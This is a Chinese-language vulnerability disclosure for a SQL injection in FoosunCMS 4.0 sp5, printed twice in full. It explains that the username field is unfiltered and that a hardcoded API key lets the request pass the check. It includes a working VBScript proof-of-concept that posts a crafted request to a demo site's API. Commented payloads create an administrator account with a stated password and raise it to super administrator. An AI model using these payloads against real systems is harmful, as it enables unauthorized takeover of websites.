FoosunCMS Sql Injection Vulnerability
2008-09-11 16:23
337 查看
#漏洞原因:
变量username未经过滤传值,带入sql执行,导致注入产生。
#关键代码:
If CheckPost() Then
Select Case Act
Case "checkname" 触发注入
Checkname()
CheckPost()函数原型在行73-96,username由此获取值,代码如下:
XmlDoc.documentElement.selectSingleNode("username")
Checkname()函数在行233-254,代码如下:
Sub Checkname()
Dim UserEmail
Dim Temp_tr,i,Rs,Sql
UserEmail = Trim(XmlDoc.documentElement.selectSingleNode("email").text)
If Messenge<>"" Then
输出错误信息
Status = 1
Exit Sub
End If
Sql="select UserName,Email From FS_ME_Users where UserName = "& UserName &"" 在此带入sql执行
Set Rs = User_Conn.Execute(Sql)
If Not Rs.Eof And Not Rs.Bof Then
Messenge = "您填写的用户名已经被注册。"
Status = 1
Exit Sub
Else
Status = 0
Messenge = "验证通过。"
End If
Rs.Close
Set Rs = Nothing
End Sub
利用的关键在于让CheckPost()为真,代码如下:
Dim NewMd5,OldMd5
NewMd5 = Md5(UserName&API_SysKey,16) Const API_SysKey = "API_TEST"
OldMd5 = Md5(UserName&API_SysKey,16)
If Syskey=NewMd5 or Syskey=OldMd5 Then
CheckPost = True
Else
Status = 1
Messenge = Messenge & "<li>请求数据验证不通过,请与管理员联系。"
End If
API_SysKey在Api_Config.asp里16行被设置
Const API_SysKey = "API_TEST"
把注入语句 & API_SysKey 进行一次md5加密之后的16位hash,赋值给syskey就可以了。
###Poc:
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 风讯4.0 sp5[mssql] 注入漏洞测试脚本 By Tr4c3[at]126[dot]com
Rem 更多信息请关注:
Rem 网安阵线 http//www.nspcn.org/
Rem web安全手册 http//www.tr4c3.com/
Rem BK瞬间[qq群]
Rem 转载请保留以上版权
Dim strData, strUrl, strGetinfo, xPost
strData = "<body><userip>999.999.999.999</userip><email>body@baidu.com</email><action>checkname</action><syskey>b77c8e0d7a0784d5</syskey><appid>FoosunCMS</appid><username></username></body>"
strUrl = "http//demo.foosun.net/api/API_Response.asp"
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "POST", strUrl, False
xPost.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
xPost.SetRequestHeader "Referer", strUrl
xPost.send(strData)
strGetinfo = xPost.ResponseText
strGetinfo = bytes2BSTR(xPost.ResponseBody)
Wscript.echo(strGetinfo)
Wscript.Quit
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 将返回内容转换成简体中文
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem ;insert into FS_MF_Admin (Admin_Name,Admin_Pass_Word)values(Tr4c3,83aa400af464c76d)-- 添加一个普通管理员Tr4c3,密码12345678
Rem ;update FS_MF_Admin set Admin_Is_Super=1 where Admin_Name=Tr4c3-- 把Tr4c3提升为超级管理员
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
变量username未经过滤传值,带入sql执行,导致注入产生。
#关键代码:
If CheckPost() Then
Select Case Act
Case "checkname" 触发注入
Checkname()
CheckPost()函数原型在行73-96,username由此获取值,代码如下:
XmlDoc.documentElement.selectSingleNode("username")
Checkname()函数在行233-254,代码如下:
Sub Checkname()
Dim UserEmail
Dim Temp_tr,i,Rs,Sql
UserEmail = Trim(XmlDoc.documentElement.selectSingleNode("email").text)
If Messenge<>"" Then
输出错误信息
Status = 1
Exit Sub
End If
Sql="select UserName,Email From FS_ME_Users where UserName = "& UserName &"" 在此带入sql执行
Set Rs = User_Conn.Execute(Sql)
If Not Rs.Eof And Not Rs.Bof Then
Messenge = "您填写的用户名已经被注册。"
Status = 1
Exit Sub
Else
Status = 0
Messenge = "验证通过。"
End If
Rs.Close
Set Rs = Nothing
End Sub
利用的关键在于让CheckPost()为真,代码如下:
Dim NewMd5,OldMd5
NewMd5 = Md5(UserName&API_SysKey,16) Const API_SysKey = "API_TEST"
OldMd5 = Md5(UserName&API_SysKey,16)
If Syskey=NewMd5 or Syskey=OldMd5 Then
CheckPost = True
Else
Status = 1
Messenge = Messenge & "<li>请求数据验证不通过,请与管理员联系。"
End If
API_SysKey在Api_Config.asp里16行被设置
Const API_SysKey = "API_TEST"
把注入语句 & API_SysKey 进行一次md5加密之后的16位hash,赋值给syskey就可以了。
###Poc:
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 风讯4.0 sp5[mssql] 注入漏洞测试脚本 By Tr4c3[at]126[dot]com
Rem 更多信息请关注:
Rem 网安阵线 http//www.nspcn.org/
Rem web安全手册 http//www.tr4c3.com/
Rem BK瞬间[qq群]
Rem 转载请保留以上版权
Dim strData, strUrl, strGetinfo, xPost
strData = "<body><userip>999.999.999.999</userip><email>body@baidu.com</email><action>checkname</action><syskey>b77c8e0d7a0784d5</syskey><appid>FoosunCMS</appid><username></username></body>"
strUrl = "http//demo.foosun.net/api/API_Response.asp"
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "POST", strUrl, False
xPost.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
xPost.SetRequestHeader "Referer", strUrl
xPost.send(strData)
strGetinfo = xPost.ResponseText
strGetinfo = bytes2BSTR(xPost.ResponseBody)
Wscript.echo(strGetinfo)
Wscript.Quit
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 将返回内容转换成简体中文
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem ;insert into FS_MF_Admin (Admin_Name,Admin_Pass_Word)values(Tr4c3,83aa400af464c76d)-- 添加一个普通管理员Tr4c3,密码12345678
Rem ;update FS_MF_Admin set Admin_Is_Super=1 where Admin_Name=Tr4c3-- 把Tr4c3提升为超级管理员
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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